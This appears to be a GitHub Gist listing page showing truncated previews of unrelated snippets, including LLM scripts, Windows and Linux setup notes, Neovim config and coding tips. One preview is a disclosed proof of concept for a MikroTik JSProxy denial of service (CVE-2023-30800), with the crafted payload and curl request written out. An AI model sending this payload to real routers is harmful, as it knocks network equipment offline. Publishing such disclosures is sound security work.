Skip to content

Instantly share code, notes, and snippets.

import llama_cpp
import re
import json
# Model configuration
# tested with mistral, llama2, llama3, and phi3
model_path = "/path/to/model"
base_llm = llama_cpp.Llama(model_path, seed=42, n_gpu_layers=-1, n_ctx=4096, verbose=False, temperature=0.0)
@andygock
andygock / Windows 10 Tips.md
Last active May 6, 2024 07:03
Windows 10, remove bloatware and fix privacy issues. My personal notes for fresh installing Windows 10.
@tanyuan
tanyuan / mouse-button-mapping.md
Created April 18, 2016 11:22
Mouse Button Mapping on Linux

Mouse Button Mapping on Linux

I use Logitech Mouse M705 so I get extra mouse buttons to bind to desired functions.

You need xev, xbindkeys and xdotool installed.

Step 1. Find out button number

Run to find out the current keyboard/mouse key number:

local yank_group = vim.api.nvim_create_augroup("highlight_yank", { clear = true })
-- Set cursor position before yanking
vim.api.nvim_create_autocmd("ModeChanged", {
group = yank_group,
pattern = "*",
callback = function()
vim.g.pre_yank_cursor_pos = vim.fn.getcurpos()
end,
})
@j-baines
j-baines / cve-2023-30800-poc.md
Created September 7, 2023 15:01
MikroTik JSProxy Denial of Service (CVE-2023-30800)
albinolobster@mournland:~$ echo -en "\x00\x00\x00\x00\x00\x00\x00\x00\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e\x5e" > /tmp/webfig-crash.bin
albinolobster@mournland:~$ curl -v -X POST -H "Content-Type: msg" --data-binary @/tmp/webfig-crash.bin http://10.12.70.1/jsproxy
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.12.70.1:80...
* TCP_NODELAY set
* Connected to 10.12.70.1 (10.12.70.1) port 80 (#0)
> POST /jsproxy HTTP/1.1
> Host: 10.12.70.1
> User-Agent: curl/7.68.0
@wojteklu
wojteklu / clean_code.md
Last active May 6, 2024 07:01
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@patriknyblad
patriknyblad / xcrun_simctl_cheatsheet.md
Last active May 6, 2024 07:01
iOS Simulator Terminal Commands `$ xcrun simctl`

Managing iOS Simulators

List all simulators created

$ xcrun simctl list --json

Delete old and unavailable simulators

$ xcrun simctl delete unavailable
@evantobin
evantobin / bofaaffinity.md
Last active May 6, 2024 07:00
bofa affinity card design list

About

Bank of America affinity cards allow you to get the benefits of the Customized Cash Rewards cards and Preferred Rewards without waiting 24 months between each application. There's tons of these cards out there so I thought I would make a list.

All of the BofA credit card apps use the same URL structure and just a different offer code so changing around the offer code you can uncover the designs. If you find another customized cash card let me know so I can add it and explore the nearby numbers.

You might notice duplicates. Those cards have different offer terms. Like some of the NEA cards give you an Amazon gift card as opposed to a $200 statement credit for the sign up bonus.

| name | applicationUrl | image

@supersonictw
supersonictw / ollama-export.sh
Last active May 6, 2024 07:00
Ollama Model Export Script
#!/bin/bash
# Ollama Model Export Script
# Usage: bash ollama-export.sh vicuna:7b
# License: MIT (https://ncurl.xyz/s/RD0Yl5fSg)
# https://gist.github.com/supersonictw/f6cf5e599377132fe5e180b3d495c553
set -e
echo "Ollama Model Export Script"
echo "License: MIT (https://ncurl.xyz/s/RD0Yl5fSg)"
@pazdera
pazdera / gist:1086117
Created July 16, 2011 07:56
Example of using getopt(1) utility in bash
#!/bin/bash
# Example of using getopt(1) utility to parse script arguments
# Copyright (C) 2011 Radek Pazdera
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.